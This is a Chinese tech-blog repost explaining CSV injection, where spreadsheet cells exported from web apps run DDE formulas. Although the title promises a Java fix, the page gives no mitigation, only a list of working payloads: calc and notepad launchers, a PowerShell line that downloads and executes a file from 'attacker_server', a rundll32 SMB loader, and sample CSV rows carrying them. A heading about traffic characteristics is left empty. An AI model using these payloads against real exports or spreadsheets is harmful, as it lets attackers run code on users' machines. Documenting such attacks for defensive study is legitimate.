欢迎访问 生活随笔!

生活随笔

当前位置: 首页 > 编程资源 > 编程问答 >内容正文

编程问答

csv注入java怎么解决_CSV Injection(CSV注入)

发布时间:2024/9/30 编程问答 52 豆豆
生活随笔 收集整理的这篇文章主要介绍了 csv注入java怎么解决_CSV Injection(CSV注入) 小编觉得挺不错的,现在分享给大家,帮大家做个参考.

简介

许多web应用程序允许用户将发票模板或用户设置等内容下载到CSV文件中。许多用户选择在Excel、Libre Office或open Office中打开CSV文件。当web应用程序无法正确验证CSV文件的内容时,可能会导致执行一个或多个单元格的内容。

漏洞利用

最基本的利用方式是动态数据交换

# pop a calc

DDE ("cmd";"/C calc";"!A0")A0

@SUM(1+1)*cmd|' /C calc'!A0

=2+5+cmd|' /C calc'!A0

# pop a notepad

=cmd|' /C notepad'!'A1'

# powershell download and execute

=cmd|'/C powershell IEX(wget attacker_server/shell.exe)'!A0

# msf smb delivery with rundll32

=cmd|'/c rundll32.exe \\10.0.0.1\3\2\1.dll,0'!_xlbgnm.A1

上述有效载荷的技术细节:

cmd 是每当客户端试图访问服务器时,服务器可以响应的名称

/C calc 是执行的文件名,(calc.exe即计算器)

!A0 是项名称,指定当客户端请求数据时服务器可以响应的数据单元

任何公式符号都可以用:

=

+

@

示例:

UserIdBillToDateProjectNameDescriptionDurationMinutes

12017/7/25Test ProjectFlipped the jibbet60

22017/7/25Important Client"Bop, dop, and giglip"240

22017/7/25Important Client"=2+5"240

22017/7/25Important Client"=2+5+cmd|' /C calc'!A0"240

22017/7/25Important Client"=cmd|' /C notepad'!'A1'"240

22017/7/25Important Client"=cmd|'/C powershell IEX(Write-Host "It's run!";)'!A0"240

流量特征如下:

总结

以上是生活随笔为你收集整理的csv注入java怎么解决_CSV Injection(CSV注入)的全部内容,希望文章能够帮你解决所遇到的问题。

如果觉得生活随笔网站内容还不错,欢迎将生活随笔推荐给好友。